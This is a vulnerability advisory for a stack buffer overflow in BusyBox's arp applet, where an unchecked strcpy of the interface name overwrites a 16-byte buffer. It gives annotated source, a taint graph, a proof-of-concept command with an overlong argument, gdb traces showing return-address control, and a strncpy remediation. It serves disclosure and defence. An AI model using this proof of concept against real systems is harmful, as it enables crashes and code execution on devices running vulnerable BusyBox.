Vulnerability Description
BusyBox provides an `arp` applet which is missing an array bounds check for command-line parameter `IFNAME`. It is therefore vulnerable to a command-line based local stack buffer overwrite effectively allowing local users to write past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where an IOCTL for GET_HW_ADDRESS (`SIOCGIFHWADDR`) fails and results in a corrupted `va_list` being passed to `*printf()` and one (B) where an attacker might provide valid params for the IOCTL and trick the program to proceed and result in a `RET eip overwrite` eventually gaining code execution.
Technical Details
By providing an overly long string for param `IFNAME` while setting `-D` (read HW Address from IFACE) and `-s` (set new entry) a strcpy operation can be reached that allows to write past the stack buffer `ifreq.ifr_name[IFANMESIZ]` [5,6]
# ./busybox arp --help BusyBox v1.23.0.git (2014-12-26 19:27:13 CET) multi-call binary. Usage: arp [-vn] [-H HWTYPE] [-i IF] -a [HOSTNAME] [-v] [-i IF] -d HOSTNAME [pub] [-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [temp] [-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [netmask MASK] pub [-v] [-H HWTYPE] [-i IF] -Ds HOSTNAME IFACE [netmask MASK] pub Manipulate ARP cache -a Display (all) hosts -d Delete ARP entry -s Set new entry -v Verbose -n Don't resolve names -i IF Network interface -D Read HWADDR from IFACE -A,-p AF Protocol family -H HWTYPE Hardware address type
Details: arp.c
The stack buffer overflow manifests in arp.c
Taint Graph
busybox arp -> arp.c:477 - arp_main (argc, argv) -> arp.c:524 - arp_set (argv) -> arp.c:263: - arp_getdevhw (ifname=*args++) -> arp.c:332: - strcpy (dst=fixed_buffer,src=ifname) // --- stack is messed up now - arbitrary stack local vars overwritten already (including stored eip) --- -> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname) // A) ioctl_or_perror_and_die - FAILS - due to messed up stack -> xfuncs_printf.c:508 - bb_verror_msg(fmt=<static_string>,valist p,strerr(errno)) -> verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p); // B) ioctl_or_perror_and_die - SUCCEEDS - due to attacker providing reasonable values for IOCTL -> arp.c:238 - RETURN - stack messed up, direct eip control
Vulnerable Code
1. No bounds check in `arp_main`
int arp_main(int argc UNUSED_PARAM, char **argv)
{
...
/* Now see what we have to do here... */
if (opts & (ARP_OPT_d | ARP_OPT_s)) { /** !! -d and -s must be set*/
if (argv[0] == NULL) /** !! argument must be set == IFNAME*/
bb_error_msg_and_die("need host name");
if (opts & ARP_OPT_s)
return arp_set(argv); /** !! argv never checked, pass to arp_set (tainted)*/
return arp_del(argv);
}
...
}
2. No bounds check in arp_set
static int arp_set(char **args) /** !! args==IFNAME (tainted)*/
{
...
/* Fetch the hardware address. */
if (*args == NULL) { /** !! IFNAME must be set*/
bb_error_msg_and_die("need hardware address");
}
if (option_mask32 & ARP_OPT_D) { /** !! -d must be set*/
arp_getdevhw(*args++, &req.arp_ha); /** !! args never checked, pass to arp_getdevhw*/
} else {
if (hw->input(*args++, &req.arp_ha) < 0) {
bb_error_msg_and_die("invalid hardware address");
}
}
...
}
3. No bounds check and buffer overwrite in arp_getdevhw
static void arp_getdevhw(char *ifname, struct sockaddr *sa) /** !! ifname==args (tainted)*/
{
struct ifreq ifr; /** !! static stack struct, sizeof(ifreq)==40*/
const struct hwtype *xhw; /** !! static stack struct, sizeof(hwtype)==64*/
strcpy(ifr.ifr_name, ifname); /** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by strlen(ifname)*/
ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr,
"can't get HW-Address for '%s'", ifname); /** !! will do the IOCTL and die on errors*/
if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) { /** !! Skip - hw_set is only set by -H|-t*/
bb_error_msg_and_die("protocol type mismatch");
}
memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr)); /** !! Skip - we do not care*/
if (option_mask32 & ARP_OPT_v) { /** !! Skip - we do not specify -v*/
xhw = get_hwntype(ifr.ifr_hwaddr.sa_family);
if (!xhw || !xhw->print) {
xhw = get_hwntype(-1);
}
bb_error_msg("device '%s' has HW address %s '%s'",
ifname, xhw->name,
xhw->print((unsigned char *) &ifr.ifr_hwaddr.sa_data));
}
} /** !! if we do not fail in IOCTL we'll land here - direct EIP control*/
Arbitrary length (may be limited by os) string `IFNAME` overwrites 16 bytes fixed buffer `ifreq.ifr_name[IFANMESIZ]` [5,6].
4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die
We control any fields below `ifr.ifr_name` – which essentially is any ifreq field, see below – allowing us to call `SIOCGIFHWADDR IOCTL` with user controlled fields and pot. let it die or make it succeed. If the `IOCTL` fails it will make the process die in `vsprintf()` due to messed up va_args on stack. If the `IOCT`L succeeds, it will make the process continue, copy taken from [5]
203 struct ifreq {
204 #define IFHWADDRLEN 6
205 union
206 {
207 char ifrn_name[IFNAMSIZ]; /* if name, e.g. "en0" */ /** !! we overflow here */
208 } ifr_ifrn;
209
210 union {
211 struct sockaddr ifru_addr;
212 struct sockaddr ifru_dstaddr;
213 struct sockaddr ifru_broadaddr;
214 struct sockaddr ifru_netmask;
215 struct sockaddr ifru_hwaddr;
216 short ifru_flags;
217 int ifru_ivalue;
218 int ifru_mtu;
219 struct ifmap ifru_map;
220 char ifru_slave[IFNAMSIZ]; /* Just fits the size */
221 char ifru_newname[IFNAMSIZ];
222 void __user * ifru_data;
223 struct if_settings ifru_settings;
224 } ifr_ifru;
225 };
5. a) IOCTL fails
//xfuncs_printf.c:508
int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request, void *argp, const char *fmt,...)
{
int ret;
va_list p; /** !! stack is messed up */
ret = ioctl(fd, request, argp);
if (ret < 0) {
va_start(p, fmt);
bb_verror_msg(fmt, p, strerror(errno)); /** !! valist p is corrupt, stack is messed up, and we fail, printing error*/
/* xfunc_die can actually longjmp, so be nice */
va_end(p);
xfunc_die();
}
return ret;
}
//verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p);
void FAST_FUNC bb_verror_msg(const char *s, va_list p, const char* strerr)
{
char *msg, *msg1;
int applet_len, strerr_len, msgeol_len, used;
if (!logmode)
return;
if (!s) /* nomsg[_and_die] uses NULL fmt */
s = ""; /* some libc don't like printf(NULL) */
used = vasprintf(&msg, s, p); /** !! valist p is corrupt */
if (used < 0)
return;
...
}
6. b) IOCTL does not fail
As described in 3./4. the code proceeds with returning from `arp_getdevhw` eventually executing code from the `strcpy()` based overflow. (RET overwrite)
Proof of Concept
Brutally smash the stack buffer (provide any IP as arg `HOSTNAME` to bypass name resolver):
# ./busybox arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
Segmentation fault
# dmesg
busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in busybox[8048000+1fd000]
# gdb --args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
0x080b8a5b in vfprintf ()
(gdb) i r
eax 0x0 0
ecx 0xffffffff -1
edx 0x0 0
ebx 0xbffff42c -1073744852
esp 0xbfffee6c 0xbfffee6c
ebp 0xbffff408 0xbffff408
esi 0x1a 26
edi 0x41414141 1094795585
eip 0x80b8a5b 0x80b8a5b <vfprintf+13739>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 0x080b8a5b in vfprintf ()
#1 0x0805b629 in vasprintf ()
#2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
at libbb/verror_msg.c:31
#3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:508
#4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222
#5 0x41414141 in ?? ()
#6 0x41414141 in ?? ()
#7 0x41414141 in ?? ()
#8 0x41414141 in ?? ()
#9 0x41414141 in ?? ()
...
(gdb) bt full
#0 0x080b8a5b in vfprintf ()
No symbol table info available.
#1 0x0805b629 in vasprintf ()
No symbol table info available.
#2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
at libbb/verror_msg.c:31
msg = 0x13 <Address 0x13 out of bounds>
msg1 = 0x0
applet_len = -1073744492
strerr_len = -1073744524
msgeol_len = 0
used = -1073744508
#3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:508
ret = -1
p = 0xbffff540 'A' <repeats 103 times>
#4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222
ifr = {ifr_ifrn = {ifrn_name = 'A' <repeats 16 times>}, ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>},
ifru_dstaddr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_broadaddr = {sa_family = 16705,
sa_data = 'A' <repeats 14 times>}, ifru_netmask = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_hwaddr = {
sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map = {
mem_start = 1094795585, mem_end = 1094795585, base_addr = 16705, irq = 65 'A', dma = 65 'A', port = 65 'A'},
ifru_slave = 'A' <repeats 16 times>, ifru_newname = 'A' <repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}}
#5 0x41414141 in ?? ()
No symbol table info available.
#6 0x41414141 in ?? ()
No symbol table info available.
#7 0x41414141 in ?? ()
A debugging session shows that we messed up the `va_list` on stack with the user provided string.
crosscheck: valid run (no crash expected, `IFNAME=AAAAA`):
# gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print 'A'*(5)")
(gdb) b ioctl_or_perror_and_die
Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
(gdb) r
Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAA
Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff5a4, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:501
501 {
(gdb) s
505 ret = ioctl(fd, request, argp);
(gdb) s
506 if (ret < 0) {
(gdb) s
507 va_start(p, fmt);
(gdb) s
508 bb_verror_msg(fmt, p, strerror(errno));
(gdb) x/10s p
0xbffff5a0: "\375\370\377\277AAAAA" /** !! valid va_list struct for 5*A*/
0xbffff5aa: "\377\277\365\370\377\277"
0xbffff5b1: ""
0xbffff5b2: ""
0xbffff5b3: ""
0xbffff5b4: "\300\207$\bp9\022\b\324\365\377\277\365\370\377\277b7\021\b\375\370\377\277\364\365\377\277D"
0xbffff5d2: ""
0xbffff5d3: ""
0xbffff5d4: "\002"
0xbffff5d6: ""
(gdb)
see inline comments: va_list on stack shown by `x/10s p`
now overflow `va_list` by providing `IFNAME=A*(64+40+40)` (crash expected):
gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print 'A'*(64+40+40)")
(gdb) ioctl_or_perror_and_die
Undefined command: "ioctl_or_perror_and_die". Try "help".
(gdb) b ioctl_or_perror_and_die
Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
(gdb) r
Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff514, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:501
501 {
(gdb) s
505 ret = ioctl(fd, request, argp);
(gdb) s
506 if (ret < 0) {
(gdb) s
507 va_start(p, fmt);
(gdb) s
508 bb_verror_msg(fmt, p, strerror(errno));
(gdb) x/10s p
0xbffff510: 'A' <repeats 148 times> /** !! INVALID va_list struct, missing header*/
0xbffff5a5: "\271\004\b"
0xbffff5a9: "\231\357pU?\021\b\030\367\377\277\177\315 \b\314\365\377\277\314\365\377\277\320\365\377\277\320\365\377\277È$\b"
0xbffff5cd: "\231\357p\330\366\377\277"
0xbffff5d5: "\003"
0xbffff5d7: ""
0xbffff5d8: ""
0xbffff5d9: ""
0xbffff5da: ""
0xbffff5db: ""
(gdb)
see inline comment: `va_list` is messed up.
Remediation Steps
`strcpy` => `strncpy(dst,src,n=sizeof(ifreq.ifr_name)-1)` or less error prone but more overhead `snprintf()`
References
[1] http://busybox.net
[2] http://busybox.net/downloads/?C=M;O=A
[3] http://git.busybox.net/busybox/commit/networking/arp.c?id=88e2b1cb626761b1924305b761a5dfc723613c4e
[4] https://en.wikipedia.org/wiki/BusyBox
[5] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L203
[6] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L26
Vulnerable Versions
BusyBox version 1.23.1
BusyBox version after 1.4.0
Immune Versions
BusyBox version prior to 1.4.0